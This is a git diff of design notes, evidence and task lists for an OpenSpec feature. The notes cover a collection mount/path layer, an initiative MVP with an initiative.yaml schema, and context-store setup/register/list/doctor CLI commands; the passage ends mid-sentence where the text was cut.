registration/list/resolve facade and tests. diff --git a/openspec/initiatives/context-store-and-initiatives/work-items/04-add-collection-foundation/evidence.md b/openspec/initiatives/context-store-and-initiatives/work-items/04-add-collection-foundation/evidence.md new file mode 100644 index 0000000000..fe751b6b91 --- /dev/null +++ b/openspec/initiatives/context-store-and-initiatives/work-items/04-add-collection-foundation/evidence.md @@ -0,0 +1,77 @@ +# Add Collection Foundation Evidence + +## Research Summary + +Subagent and local review converged on the same direction: + +- Item 4 should define the boundary between store identity and product-specific + content meaning. +- The collection layer should own mounted namespaces and logical path fences. +- The context-store layer should stay content-agnostic. +- Initiative CRUD and initiative file shape belong to Item 5. +- A runtime injected registry is enough for now; persisted manifests and dynamic + plugins are premature. +- A thin registration facade should hide metadata and local registry writes, but + Item 4 should not depend on that facade. + +## Clean-Code Notes + +- Use module boundaries and mounted objects to carry context. +- Prefer `validateMount`, `parseCollectionPath`, `createCollectionRegistry`, + and `mountCollections` inside the collection module. +- Avoid public helper names that stack every concept together, such as + `validateContextStoreCollectionRelativePath`. +- Keep path resolution pure and lexical until a future write-capable layer + deliberately handles symlinks, canonical parent paths, and backend behavior. +- Keep persisted YAML shape below the public setup surface. Runtime/public + handles should use camelCase fields such as `storeRoot`; persisted backend + state can continue to use `local_path`. + +## Chosen Pattern + +Use a two-step pattern: + +```ts +const store = await registerContextStore({ + id: "acme-context", + backend: gitLocalBackend({ + localPath: "/Users/me/repos/acme-context", + remote: "git@github.com:acme/context.git", + branch: "main", + }), +}); + +const collections = createCollectionRegistry([ + { id: "initiatives", mount: "initiatives" }, +]); + +const mounted = mountCollections({ + storeRoot: store.storeRoot, + collections, +}); +``` + +For Item 4 itself, `mountCollections({ storeRoot, collections })` is the +canonical API. One-call setup facades, store lifecycle objects, builder DSLs, +and initiative-specific setup presets are deferred. + +## Implementation Evidence + +- `src/core/collections/runtime.ts` defines runtime collection + definitions, registries, mounted collection contexts, logical path parsing, + and mount/path resolution. +- `src/core/collections/index.ts` exports the collection module, and + `src/core/index.ts` re-exports it for core consumers. +- `test/core/collections/runtime.test.ts` covers mount and id validation, + logical path parsing, duplicate id/mount rejection, Windows-style roots, + `createHandle(context)`, no filesystem creation, and generic `initiatives/` + mounting. + +## Verification + +- `pnpm exec vitest run test/core/collections/runtime.test.ts` +- `pnpm run build` +- `pnpm exec vitest run test/core/collections/runtime.test.ts test/core/context-store/foundation.test.ts test/core/planning-home.test.ts` +- `pnpm exec vitest run test/utils/file-system.test.ts` +- `pnpm run lint` +- `git diff --check` diff --git a/openspec/initiatives/context-store-and-initiatives/work-items/04-add-collection-foundation/plan.md b/openspec/initiatives/context-store-and-initiatives/work-items/04-add-collection-foundation/plan.md new file mode 100644 index 0000000000..6475df3a88 --- /dev/null +++ b/openspec/initiatives/context-store-and-initiatives/work-items/04-add-collection-foundation/plan.md @@ -0,0 +1,198 @@ +# Add Collection Foundation + +## Status + +First implementation slice implemented. + +## Source Of Truth + +Start from `../../direction.md`. + +The relevant model is: + +```text +Context stores sync truth. +Collections shape truth. +Initiatives coordinate work. +Workspaces open local views. +Changes implement repo-owned slices. +``` + +## Goal + +Add the smallest collection foundation that lets product-specific content +systems mount inside a context store without making the context-store layer know +what those systems mean. + +## Locked Direction So Far + +- Treat Item 4 as a mount/path foundation, not a collection runtime. +- Keep collection composition runtime-only and dependency-injected. +- Keep context-store registration separate from runtime collection mounting. +- Use a future thin registration facade for metadata/registry setup instead of + showing raw registry or metadata state writes in public examples. +- Do not add a persisted collection manifest yet. +- Do not add CLI behavior yet. +- Do not add generic `read`, `write`, `list`, or `delete` helpers. +- Do not add initiative file shape, initiative CRUD, or initiative validation + yet. +- Prove `initiatives/` can mount through generic collection definitions, not + through initiative-specific context-store logic. + +## Naming Direction + +Use the module/object boundary to carry context instead of growing helper names. + +Use a focused generic module such as `src/core/collections/runtime.ts` with +short names: + +```ts +validateCollectionId(id); +validateMount(mount); +parseCollectionPath(input); + +createCollectionRegistry(...); +mountCollections(...); +``` + +Prefer mounted objects for context-aware operations: + +```ts +const mounted = collections.require("initiatives"); + +mounted.resolvePath("launch-billing-flow/initiative.yaml"); +mounted.toStorePath("launch-billing-flow/initiative.yaml"); +``` + +Avoid names like `validateContextStoreCollectionRelativePath`. They indicate +that too much context has leaked into a standalone helper name. + +## Minimal API Shape + +The first slice should stay close to this: + +```ts +interface CollectionDefinition { + id: string; + mount: string; + metadata?: CollectionMetadata; + hooks?: CollectionHooks; + createHandle?: (context: MountedCollectionContext) => THandle; +} + +interface MountedCollectionContext { + storeRoot: string; + collectionId: string; + mount: string; + mountRoot: string; + resolvePath(relativePath?: string): string; + toStorePath(relativePath?: string): string; +} + +interface MountedCollection { + collectionId: string; + mount: string; + mountRoot: string; + context: MountedCollectionContext; + handle: THandle | undefined; +} +``` + +Use `id` on definitions, but `collectionId` on mounted handles and contexts so +domain object IDs such as initiative IDs do not collide with collection type IDs. + +## Setup And Mounting Pattern + +Use two separate layers: + +1. A context-store registration facade for setup. +2. A pure runtime collection mounting API for Item 4. + +Registration should hide persisted YAML details: + +```ts +const store = await registerContextStore({ + id: "acme-context", + backend: gitLocalBackend({ + localPath: "/Users/me/repos/acme-context", + remote: "git@github.com:acme/context.git", + branch: "main", + }), +}); +``` + +The registration facade can call lower-level helpers such as backend config +normalization, metadata writes, and local registry writes internally. Public +examples should not call raw `writeContextStoreMetadataState(...)`, +`writeContextStoreRegistryState(...)`, or expose persisted snake_case backend +state such as `local_path`. + +Item 4 mounting should stay independent of registration and accept only the +authority it needs: + +```ts +const collections = createCollectionRegistry([ + { id: "initiatives", mount: "initiatives" }, +]); + +const mounted = mountCollections({ + storeRoot: store.storeRoot, + collections, +}); + +mounted.require("initiatives").resolvePath( + "launch-billing-flow/initiative.yaml" +); +``` + +Prefer `mountCollections({ storeRoot, collections })` as the canonical first +API. Passing a whole store handle can wait until there is a real need. + +## Path Direction + +- Mount names are single-segment kebab-case folder names such as `initiatives`, + `decisions`, or `api-catalog`. +- Collection-relative paths are logical portable paths inside a mount. +- The path resolver is lexical only. It proves that a logical path belongs under + a collection mount; it does not claim to be a filesystem security sandbox. +- Future write-capable helpers must revisit symlink and canonical parent-path + handling before touching disk. + +Reject: + +- empty mounts +- `.` +- `..` +- hidden/reserved mounts such as `.openspec-store` +- absolute paths +- Windows drive paths +- UNC paths +- NUL bytes +- traversal segments +- sibling-prefix escapes + +## Deferred + +- Store-level collection config files. +- Dynamic plugin loading. +- One-call `setupContextStore({ id, backend, collections })` APIs. +- `createStore(...).setup()` lifecycle APIs. +- Builder-style setup DSLs. +- Initiative-specific setup presets in the generic context-store layer. +- Template override search paths. +- Rich validation execution. +- Agent guidance generation. +- Workspace integration. +- Git sync, commits, pull, push, watch, or conflict behavior. + +## Implemented Slice + +- Added a pure runtime collection module at + `src/core/collections/runtime.ts`. +- Exported the module through `src/core/collections/index.ts` and + `src/core/index.ts`. +- Added focused tests under `test/core/collections/runtime.test.ts`. +- Proved a generic `{ id: "initiatives", mount: "initiatives" }` definition can + mount and resolve paths without initiative-specific store logic. +- Kept validation/template hooks as inert extension fields for now; rich hook + execution remains deferred. diff --git a/openspec/initiatives/context-store-and-initiatives/work-items/04-add-collection-foundation/tasks.md b/openspec/initiatives/context-store-and-initiatives/work-items/04-add-collection-foundation/tasks.md new file mode 100644 index 0000000000..215b8092da --- /dev/null +++ b/openspec/initiatives/context-store-and-initiatives/work-items/04-add-collection-foundation/tasks.md @@ -0,0 +1,14 @@ +# Add Collection Foundation Tasks + +- [x] Research what Item 4 needs to decide. +- [x] Compare collection model options. +- [x] Run clean-code and design-pattern review. +- [x] Decide to keep Item 4 as a runtime mount/path foundation. +- [x] Decide to avoid long context-stacked helper names. +- [x] Decide to separate context-store registration from runtime collection + mounting. +- [x] Define exact collection mount and path rules. +- [x] Define the minimal runtime registry and mounted collection API. +- [x] Implement collection foundation helpers and tests. +- [x] Prove `initiatives/` can mount without store-specific initiative logic. +- [x] Run targeted verification. diff --git a/openspec/initiatives/context-store-and-initiatives/work-items/05-ship-initiative-mvp/evidence.md b/openspec/initiatives/context-store-and-initiatives/work-items/05-ship-initiative-mvp/evidence.md new file mode 100644 index 0000000000..7b9e7ab036 --- /dev/null +++ b/openspec/initiatives/context-store-and-initiatives/work-items/05-ship-initiative-mvp/evidence.md @@ -0,0 +1,99 @@ +# Ship Initiative MVP Evidence + +## Research Summary + +- Initiative code should live in `src/core/collections/initiatives/`, outside + `src/core/context-store/`. +- Initiative APIs should consume a mounted `initiatives` collection from Item 4 + rather than raw context-store roots. +- The first coding slice should lock metadata and templates before mounted + create/list operations. +- Visible `initiative.yaml` is preferred for the new shared initiative model. +- `links.yaml` should not exist in the initiative MVP. Repo-change wiring is a + workspace/local coordination concern to revisit later. +- Read/show, update, and delete have extra policy risk, so create/list should + come before broader lifecycle behavior. +- The first mounted operation slice should do create/list only. A full + `readInitiative` API is deferred until the return shape is clearer. + +## Decisions + +- Use `src/core/collections/initiatives/` for initiative-domain code. +- Do not put initiative semantics into `src/core/context-store/`. +- Add `initiative.yaml` strict parse/serialize helpers. +- Generate Markdown files up front, but do not validate Markdown content beyond + existence/templates in the first pass. +- Defer workspace opening, repo resolution, status dashboards, sync, linked + change lifecycle, `links.yaml`, `contracts/`, and CLI behavior. +- Detect initiatives by valid `initiative.yaml`: missing means ignore, invalid + means fail loudly, and the YAML `id` must match the folder name. + +## Suggested First Coding Slice + +Add: + +- `src/core/collections/initiatives/schema.ts` +- `src/core/collections/initiatives/templates.ts` +- `src/core/collections/initiatives/operations.ts` +- `src/core/collections/initiatives/index.ts` +- focused tests under `test/core/collections/initiatives/` + +Cover: + +- constants for initiative file names +- `validateInitiativeId` +- strict `initiative.yaml` parse/serialize +- create/list operations through a mounted `initiatives` collection +- template builders for `requirements.md`, `design.md`, `decisions.md`, + `questions.md`, and `tasks.md` +- tests for valid and invalid metadata, invalid IDs, unknown YAML fields, + required `created`, and generated template names/content shape + +## Implementation Evidence + +- `src/core/collections/initiatives/schema.ts` defines initiative constants, + strict persisted `initiative.yaml` parsing/serialization, required + `created`, bounded JSON-like metadata, statuses, and portable kebab-case + initiative IDs. +- `src/core/collections/initiatives/templates.ts` defines deterministic default + Markdown file builders for requirements, design, decisions, questions, and + tasks. +- `src/core/collections/initiatives/index.ts` exports the initiative + schema/template surface inside the initiative module only. +- `src/core/collections/initiatives/operations.ts` creates MVP initiative + folders and lists initiative states using the valid-`initiative.yaml` + detection rule. +- `src/core/collections/index.ts` exports the initiative module now that it has + a mounted operation API. +- `test/core/collections/initiatives/schema.test.ts` covers file constants, + no `links.yaml`, ID validation, strict YAML behavior, required `created`, + default owners/metadata, metadata validation, and serialization round trips. +- `test/core/collections/initiatives/templates.test.ts` covers generated + Markdown file names, deterministic ordering, trailing newlines, and expected + section headings. +- `test/core/collections/initiatives/operations.test.ts` covers create, list, + duplicate protection, cleanup on partial write failure, missing + `initiative.yaml` ignored, invalid `initiative.yaml` failure, and folder/id + mismatch failure. +- `src/core/context-store/registry.ts` was added as the next integration + enabler before CLI wiring. +- `src/commands/initiative.ts` adds `openspec initiative create/list` as a thin + CLI adapter over the context-store facade and mounted initiatives collection. +- `src/cli/index.ts` registers the initiative command. +- `src/core/completions/command-registry.ts` registers static completion + metadata for `initiative create/list/ls`. +- `test/commands/initiative.test.ts` covers JSON create, `--store-path` list, + human output, selector errors, duplicate create errors, and completion + registry entries. + +## Verification + +- `pnpm exec vitest run test/core/collections/initiatives/schema.test.ts test/core/collections/initiatives/templates.test.ts` +- `pnpm exec vitest run test/core/collections/initiatives/operations.test.ts` +- `pnpm exec vitest run test/core/collections/initiatives/schema.test.ts test/core/collections/initiatives/templates.test.ts test/core/collections/initiatives/operations.test.ts test/core/collections/runtime.test.ts test/core/context-store/foundation.test.ts test/core/planning-home.test.ts` +- `pnpm exec vitest run test/commands/initiative.test.ts` +- `pnpm exec vitest run test/core/context-store/registry.test.ts test/core/collections/initiatives/operations.test.ts test/core/collections/initiatives/schema.test.ts test/core/collections/initiatives/templates.test.ts test/core/collections/runtime.test.ts` +- `pnpm exec vitest run test/commands/workspace.test.ts` +- `pnpm run build` +- `pnpm run lint` +- `git diff --check` diff --git a/openspec/initiatives/context-store-and-initiatives/work-items/05-ship-initiative-mvp/plan.md b/openspec/initiatives/context-store-and-initiatives/work-items/05-ship-initiative-mvp/plan.md new file mode 100644 index 0000000000..d6463765cb --- /dev/null +++ b/openspec/initiatives/context-store-and-initiatives/work-items/05-ship-initiative-mvp/plan.md @@ -0,0 +1,236 @@ +# Ship Initiative MVP + +## Status + +Create/list operation and CLI adapter slices complete. Full read/show, update, +and delete policy is deferred to later agent-first discovery and lifecycle +work. + +## Source Of Truth + +Start from `../../direction.md`. + +The relevant model is: + +```text +Context stores sync truth. +Collections shape truth. +Initiatives coordinate work. +Workspaces open local views. +Changes implement repo-owned slices. +``` + +## Goal + +Give coordinated work a durable, shared, agent-consumable home inside an +`initiatives/` collection. + +## Roadmap Shape + +Default initiative shape: + +```text +initiatives// + initiative.yaml + requirements.md + design.md + decisions.md + questions.md + tasks.md +``` + +Direction also leaves room for later `contracts/` content: + +```text +initiatives// + contracts/ +``` + +## Initial Boundaries + +- Initiative code should live outside `src/core/context-store/`. +- Context-store core should not know initiative semantics. +- Initiative APIs should consume a mounted `initiatives` collection from Item 4. +- Repo-local OpenSpec changes remain the implementation artifacts; initiatives + coordinate intent, decisions, questions, and tasks. +- Do not implement workspace opening, repo resolution, status dashboards, sync, + or linked change lifecycle in this item. + +## Locked Direction So Far + +- Put initiative code under `src/core/collections/initiatives/`. +- Export initiatives from `src/core/index.ts` only after a real API exists. +- Use visible `initiative.yaml`, not hidden `.initiative.yaml`, for the runtime + context-store initiative model. Existing roadmap folders may still carry + legacy `.initiative.yaml` progress metadata until that tracker is migrated or + retired. +- Use strict YAML parsing and validation, following the existing foundation + patterns. +- Do not create `links.yaml` in the initiative MVP. Repo-change wiring belongs + to workspace/local coordination work later. +- Keep Markdown validation light; generate useful structure but do not validate + prose content yet. +- Start implementation with initiative schema and template helpers before + mounted collection operations. +- For the first mounted operation slice, add create and list only. Avoid a + broad `readInitiative` API until the shape of "full initiative" is clearer. +- Treat a child folder as an initiative only when it contains a valid + `initiative.yaml`. Missing `initiative.yaml` means "not an initiative"; + invalid `initiative.yaml` means broken shared state and should fail loudly. + +## Deferred From Item 5 + +- Full initiative show/read behavior belongs in agent-first initiative discovery + once the return shape is clearer. +- Metadata update and guarded delete belong in later lifecycle work after + create/list usage has shaped the policy. + +## Initial `initiative.yaml` + +Recommended shape: + +```yaml +version: 1 +id: launch-billing-flow +title: Launch Billing Flow +summary: > + Coordinate the billing launch across product, API, and client surfaces. +status: exploring +created: "2026-05-21" +owners: [] +metadata: {} +``` + +Required: + +- `version` +- `id` +- `title` +- `summary` +- `status` +- `created` + +Defaulted or optional: + +- `owners` +- `metadata` + +Initial statuses: + +- `exploring` +- `active` +- `complete` +- `archived` + +## Initial Markdown Templates + +Create these files up front: + +- `requirements.md`: product intent, accepted requirements, out of scope. +- `design.md`: context, approach, affected areas, dependencies, risks. +- `decisions.md`: accepted decisions with date/title/decision/why/implications. +- `questions.md`: open and resolved questions. +- `tasks.md`: coordination tasks only, not repo implementation tasks. + +Defer `contracts/`, `README.md`, milestones, dependency graphs, external issue +links, workspace path mappings, status dashboards, `links.yaml`, and Markdown +content validation. + +## Likely Repo Slice + +- Add `src/core/collections/initiatives/schema.ts`. +- Add `src/core/collections/initiatives/templates.ts`. +- Add `src/core/collections/initiatives/index.ts`. +- Add focused tests under `test/core/collections/initiatives/`. +- Add types, constants, ID validation, strict `initiative.yaml` + parse/serialize helpers, and default template builders. +- Add create/list mounted collection operations after schema and templates are + locked. +- Keep context-store collection APIs unchanged unless a real integration gap is + found. + +## Implemented Slice + +- Added `src/core/collections/initiatives/schema.ts`. +- Added `src/core/collections/initiatives/templates.ts`. +- Added `src/core/collections/initiatives/index.ts`. +- Added focused tests under `test/core/collections/initiatives/`. +- Exported initiatives through `src/core/collections/index.ts` now that a + mounted operation API exists. +- Kept `links.yaml` out of the initiative MVP file contract. + +## Operation Slice Direction + +- Add `src/core/collections/initiatives/operations.ts`. +- Export initiatives through `src/core/collections/index.ts` now that a mounted + operation API exists. +- `createInitiative` should create exactly the MVP file shape: + `initiative.yaml`, `requirements.md`, `design.md`, `decisions.md`, + `questions.md`, and `tasks.md`. +- `createInitiative` should generate `created` through an injectable date + provider, fail if the initiative folder already exists, and clean up a + partially created folder on write failure. +- `listInitiatives` should inspect immediate child directories under the + mounted `initiatives` collection, ignore folders without `initiative.yaml`, + parse and validate folders with `initiative.yaml`, require + `initiative.yaml.id` to match the folder name, and return initiative states + sorted by id. + +## Implemented Operation Slice + +- Added `src/core/collections/initiatives/operations.ts`. +- Added `createInitiative` for creating the MVP folder shape through a mounted + `initiatives` collection. +- Added `listInitiatives` using the valid-`initiative.yaml` detection rule. +- Exported initiatives through `src/core/collections/index.ts`. +- Added focused operation tests under + `test/core/collections/initiatives/operations.test.ts`. + +## Next Integration Enabler + +Before adding `openspec initiative create/list`, add a context-store +registration/resolution facade so CLI code can resolve a named store and mount +the initiatives collection without exposing raw registry or metadata YAML. + +## CLI Adapter Direction + +Add the first initiative CLI surface as a thin adapter over the mounted +collection operations: + +```bash +openspec initiative create --store --title --summary <summary> +openspec initiative create <id> --store-path <path> --title <title> --summary <summary> +openspec initiative list --store <store-id> +openspec initiative list --store-path <path> +``` + +Use `initiative create/list` as a deliberate noun namespace, similar to +`workspace` and `schema`, even though newer OpenSpec conventions generally +prefer verb-first top-level commands. The stricter alternative would spread +initiative behavior across `new initiative` and global `list` flags, which is a +larger surface for this slice because initiative commands must resolve a +context store. + +Keep store selection explicit in the first CLI slice. Require either +`--store <id>` or `--store-path <path>`, reject both together, and do not add +current-directory discovery, single-store auto-selection, an interactive picker, +a global default store, or workspace selected-store state yet. + +Because shell completions are manually registered, adding the runtime command +also requires adding `initiative create/list/ls` to `COMMAND_REGISTRY`. Keep +completion support static for now: command names and flags only, with no dynamic +store-id or initiative-id completion. + +## Implemented CLI Adapter Slice + +- Added `src/commands/initiative.ts`. +- Registered `openspec initiative create` and `openspec initiative list` from + the top-level CLI. +- Added `openspec initiative ls` as an alias for list. +- Required explicit context-store selection through `--store <id>` or + `--store-path <path>`. +- Rejected conflicting `--store` and `--store-path` selectors. +- Returned workspace-style JSON payloads with a top-level `status` diagnostics + array. +- Added static shell completion metadata for `initiative create/list/ls`. +- Added focused command tests under `test/commands/initiative.test.ts`. diff --git a/openspec/initiatives/context-store-and-initiatives/work-items/05-ship-initiative-mvp/tasks.md b/openspec/initiatives/context-store-and-initiatives/work-items/05-ship-initiative-mvp/tasks.md new file mode 100644 index 0000000000..197a333bf1 --- /dev/null +++ b/openspec/initiatives/context-store-and-initiatives/work-items/05-ship-initiative-mvp/tasks.md @@ -0,0 +1,21 @@ +# Ship Initiative MVP Tasks + +- [x] Create Item 5 work-item tracking notes. +- [x] Research initiative shape, API, module placement, and first slice. +- [x] Decide where initiative code lives. +- [x] Decide required `initiative.yaml` metadata. +- [x] Decide no initiative `links.yaml` in the MVP. +- [x] Decide first coding slice starts with initiative schema/templates before operations. +- [x] Add initiative schema helpers and tests. +- [x] Add default initiative templates. +- [x] Run targeted verification for schema/templates. +- [x] Decide create/list-only operation slice. +- [x] Add create/list mounted initiative operations and tests. +- [x] Run targeted verification for operations. +- [x] Research initiative CLI adapter gaps. +- [x] Decide explicit context-store selection for first CLI slice. +- [x] Document noun-command and manual-completion tradeoffs. +- [x] Add `openspec initiative create/list` CLI adapter. +- [x] Register static shell completions for initiative commands. +- [x] Add focused CLI tests for create/list, selection errors, and completions. +- [x] Run targeted verification for the initiative CLI adapter. diff --git a/openspec/initiatives/context-store-and-initiatives/work-items/06-add-minimal-context-store-ux/evidence.md b/openspec/initiatives/context-store-and-initiatives/work-items/06-add-minimal-context-store-ux/evidence.md new file mode 100644 index 0000000000..6b0bc32b2e --- /dev/null +++ b/openspec/initiatives/context-store-and-initiatives/work-items/06-add-minimal-context-store-ux/evidence.md @@ -0,0 +1,97 @@ +# Add Minimal Context Store UX Evidence + +## Conversation Decisions + +- The next roadmap step should not jump straight to repo-local change linking + or workspace initiative opening. +- Teams first need a simple way to create or register the shared context store + that holds initiatives. +- The workflow is agent-first: the user prompts an agent, and the agent uses CLI + primitives to discover stores and initiatives. +- `context-store` should be the top-level command namespace for now. It is more + explicit for agents than `store`, and `store` can remain shorthand in scoped + flags such as `initiative list --store <id>`. +- A store can start as a local Git-backed folder. OpenSpec can help create the + folder, write metadata, register it locally, and optionally initialize Git. +- When setup does not receive `--path`, it should create or use `./<id>`. This + keeps the real shared store visible and avoids hiding it under global data. +- Using the current directory should require explicit `--path .`. +- If a user registers an existing folder or clone, the default store id can be + the repo or folder name. +- Portable `.openspec-store/store.yaml` metadata should be checked in and should + not include local paths. +- `.openspec-store/store.yaml` is the identity file itself, not a bundle beside + another checked-in metadata file. It should contain only `version` and `id` + for now. +- Future backend, sync, collection, permission, or policy config should not be + added to `store.yaml` by default. +- The local registry maps store ids to local paths on one machine. +- Remote-url clone/setup sugar is useful but can wait. +- `initiative list` should list all registered stores by default; `--store` + should filter. +- Interactive setup should prompt for Git initialization and default to yes + when no explicit Git flag is provided. +- Non-interactive, JSON, `--init-git`, and `--no-init-git` setup should not + prompt. +- `context-store register` should be idempotent for the same id/path and fail + for the same id with a different path until a future explicit replacement + option exists. +- `context-store list` should stay a simple registry index and should not show + health warnings. +- `context-store doctor` owns health diagnostics. The first slice should check + registry/path/metadata and cheap Git repository presence, not dirty state, + branch, remote, sync, pull/push, or conflicts. +- `initiative list` should allow partial success in all-store mode: show + initiatives from readable stores and print one small warning pointing to + `context-store doctor` when other registered stores cannot be read. +- Filtered `initiative list --store` and explicit `--store-path` should fail + directly when the selected store cannot be read. +- Partial success should exit 0 with warning diagnostics in JSON. Total failure + should exit nonzero. +- Register id inference should use the repo/folder name as-is with normal + context-store id validation. Do not add normalization in this slice. +- Setup should reject non-empty folders without context-store metadata for now. +- Registry conflicts should fail when the same id points at a different path or + the same path is already registered under a different id. +- Empty states should stay simple: no stores registered for `context-store list` + and `doctor`; no initiatives found because no stores are registered for + `initiative list`. +- Static shell completion metadata is now part of the shipped command surface; + dynamic store-id and initiative-id completions remain deferred. + +## Risks To Check Before Implementation + +- Existing command naming conventions may prefer verb-first flows, while + context-store commands are naturally noun namespaced. +- Shell completions are manually registered; keep future command additions in + `src/core/completions/command-registry.ts` with focused registry tests. +- Human output should match existing compact CLI output patterns. +- JSON output should be stable enough for agents without over-modeling future + sync or remote behavior. + +## Implementation Evidence + +- `src/commands/context-store.ts` adds the `context-store` command namespace + with setup, register, list, and doctor subcommands. +- `src/cli/index.ts` registers the context-store command. +- `src/commands/context-store.ts` keeps strict CLI setup/register policy in the + command layer while reusing context-store foundation helpers. +- `src/commands/initiative.ts` now lets `initiative list` search all registered + stores by default, keeps `--store` as a filter, preserves `--store-path`, and + reports all-store partial success with warning diagnostics. +- `src/core/completions/command-registry.ts` registers static completion + metadata for the context-store command surface. +- `test/commands/context-store.test.ts` covers setup, register, list, doctor, + conflict handling, non-empty setup rejection, and interactive Git init. +- `test/commands/initiative.test.ts` covers all-store initiative listing, + compact human output, empty registered-store state, partial success, and all + unreadable stores. + +## Verification + +- `pnpm run build` +- `pnpm exec vitest run test/commands/context-store.test.ts test/commands/initiative.test.ts` +- `pnpm exec vitest run test/core/context-store/foundation.test.ts + test/core/context-store/registry.test.ts + test/core/collections/initiatives/operations.test.ts` +- `pnpm run lint` diff --git a/openspec/initiatives/context-store-and-initiatives/work-items/06-add-minimal-context-store-ux/plan.md b/openspec/initiatives/context-store-and-initiatives/work-items/06-add-minimal-context-store-ux/plan.md new file mode 100644 index 0000000000..35f64ceb5c --- /dev/null +++ b/openspec/initiatives/context-store-and-initiatives/work-items/06-add-minimal-context-store-ux/plan.md @@ -0,0 +1,333 @@ +# Add Minimal Context Store UX + +## Status + +Minimal context-store CLI and all-store initiative listing implemented. + +## Source Of Truth + +Start from `../../direction.md`. + +The current roadmap order is: + +```text +Context stores sync truth. +Collections shape truth. +Initiatives coordinate work. +Workspaces open local views. +Changes implement repo-owned slices. +``` + +This item exists because agent-first initiative workflows need a usable shared +store before repo-local handoff and workspace opening can feel coherent. + +## Goal + +Let a user or agent create, register, list, and diagnose local context stores +without knowing the internal registry layout. + +## Agent-First Framing + +The expected user prompt is closer to: + +```text +Using initiative billing-launch, explore the API work and create a proposal. +``` + +Before an agent can do that, it needs to answer: + +- Which context stores are registered locally? +- Which store contains the named initiative? +- Is the registered store path valid? +- Is store metadata present and consistent? +- If no store exists yet, how should one be created? + +This work item should provide those primitives. It should not implement +repo-local initiative linking, initiative resolution, workspace opening, or +progress/status dashboards. + +## Locked Direction So Far + +- Keep the user-facing term `store` for now; naming polish is deferred. +- Use `context-store` as the top-level CLI namespace for this slice. It is more + explicit for agents and avoids overloading a broad top-level `store` command. + Keep `store` as shorthand only when the context is already scoped, such as + `initiative list --store <id>`. +- `context-store setup <id>` should create or use a local folder, write portable + store metadata, register the local path, and optionally initialize Git. +- When `--path` is omitted, `context-store setup <id>` should default to + `./<id>`. +- Using the current directory should be explicit with `--path .`; setup should + not silently turn the current repo into a context store. +- The actual shared context store should be visible on disk, not hidden under + XDG/global data. XDG/global data is only for the machine-local registry. +- `context-store register <path>` should register an existing clone or folder. +- Registration means "this folder already exists on my machine; remember it as + a known context store." It should not create the folder, initialize Git, pull, + push, commit, or create remotes. +- Default the store id from the repo or folder name when metadata is missing. +- Portable store metadata is exactly `.openspec-store/store.yaml`. It should be + checked into the context-store repo and contain only portable identity for + now: + +```yaml +version: 1 +id: team-context +``` + +- Do not put backend config, local paths, remote URLs, collection config, sync + policy, or permissions in `store.yaml`. +- If future collection/store config is needed, add a separate explicit file + rather than expanding the identity file by default. +- Machine-local registry state should stay outside the checked-in store and map + store ids to local paths. +- Registration should not pull, push, commit, or create remote repositories. +- Remote-url registration or clone sugar can come later. +- `initiative list` should default to all registered stores. `--store` should + filter to one store, and `--store-path` should remain an explicit escape + hatch. +- Human output should stay compact and avoid a `Status` column for now. + +## Suggested Command Shape + +```bash +openspec context-store setup <id> [--path <path>] [--init-git|--no-init-git] [--json] +openspec context-store register <path> [--id <id>] [--json] +openspec context-store list [--json] +openspec context-store doctor [id] [--json] +openspec initiative list [--store <id>] [--store-path <path>] [--json] +``` + +## Command Behavior + +### `context-store setup` + +`context-store setup <id>` creates or uses a visible local store root and +registers it on the current machine. + +Locked behavior: + +- Default path is `./<id>` when `--path` is omitted. +- Current-directory setup is allowed only with explicit `--path .`. +- Missing folders are created. +- Existing folders are allowed when metadata is missing or matches the requested + id. +- Non-empty folders without context-store metadata are not supported for setup + in this slice. +- Existing metadata with a different id fails. +- File paths fail. +- `.openspec-store/store.yaml` is written when missing. +- The store is registered in the machine-local registry. +- Interactive TTY mode prompts for Git initialization when neither + `--init-git` nor `--no-init-git` is provided; the default answer is yes. +- `--json`, non-TTY execution, `--init-git`, and `--no-init-git` do not prompt. +- Git is initialized only when the prompt answer is yes or `--init-git` is + passed. +- Setup does not commit, push, pull, create remotes, or create hosted repos. +- If a user wants to initialize an existing non-empty folder, fail with a clear + message and suggest filing the use case or using `context-store register` for + an existing context store. + +Suggested human output: + +```text +Context store setup complete + +ID: team-context +Location: /Users/me/work/team-context +Metadata: /Users/me/work/team-context/.openspec-store/store.yaml +Registry: /Users/me/.local/share/openspec/context-stores/registry.yaml +Git: initialized +``` + +### `context-store register` + +`context-store register <path>` records an existing local folder or clone as a +known context store on the current machine. + +Locked behavior: + +- Path must already exist and be a directory. +- If `.openspec-store/store.yaml` exists, use its id. +- `--id` may confirm the metadata id but cannot conflict with it. +- If metadata is missing, infer the id from the folder or repo name unless + `--id` is passed. +- Inference uses the folder or repo name as-is and then applies normal context + store id validation. Do not do clever normalization in this slice. +- Missing metadata is written. +- The machine-local registry is updated. +- Same id and same path is an idempotent success. +- Same id and different path fails for now; a future `--replace` can make + replacement explicit. +- Same path already registered under a different id fails for now. +- Register does not create the folder, initialize Git, pull, push, commit, + create remotes, or clone. + +Suggested human output: + +```text +Context store registered + +ID: team-context +Location: /Users/me/src/team-context +Metadata: /Users/me/src/team-context/.openspec-store/store.yaml +Registry: /Users/me/.local/share/openspec/context-stores/registry.yaml +``` + +### `context-store list` + +`context-store list` is an index view of the local registry. + +Locked behavior: + +- Reads the local registry. +- Shows registered id and location only. +- Sorts by store id. +- Does not check metadata, path health, Git, sync, remote, dirty state, or + conflicts. +- Does not mutate anything. +- Prints no health warnings; health belongs to `context-store doctor`. + +Suggested human output: + +```text +OpenSpec context stores (2) + +ID Location +platform /Users/me/src/platform-context +team-context /Users/me/src/team-context +``` + +Empty output: + +```text +No context stores registered. + +Next: + openspec context-store setup team-context + openspec context-store register /path/to/context-store +``` + +### `context-store doctor` + +`context-store doctor [id]` is the non-mutating health and repair surface. + +Locked behavior: + +- Checks all registered stores by default. +- Checks one store when `id` is passed. +- Checks registry presence, path existence, directory shape, metadata presence, + metadata parsing, and metadata id matching. +- Includes a cheap Git repository presence check. +- Does not check dirty state, branch, remote, sync, pull/push, or conflicts in + this slice. +- Does not mutate anything. + +Empty output: + +```text +No context stores registered. +``` + +Suggested human output: + +```text +Context store doctor + +team-context + Location: /Users/me/src/team-context + Metadata: ok + Git: repository detected + Issues: none +``` + +### `initiative list` + +`initiative list` becomes the agent-friendly discovery command across +registered stores. + +Locked behavior: + +- Without `--store` or `--store-path`, list initiatives from all readable + registered stores. +- If no context stores are registered, print a concise empty message. +- Sort by store id, then initiative id. +- Do not show a `Status` column in human output. +- Do not print detailed health diagnostics. +- If 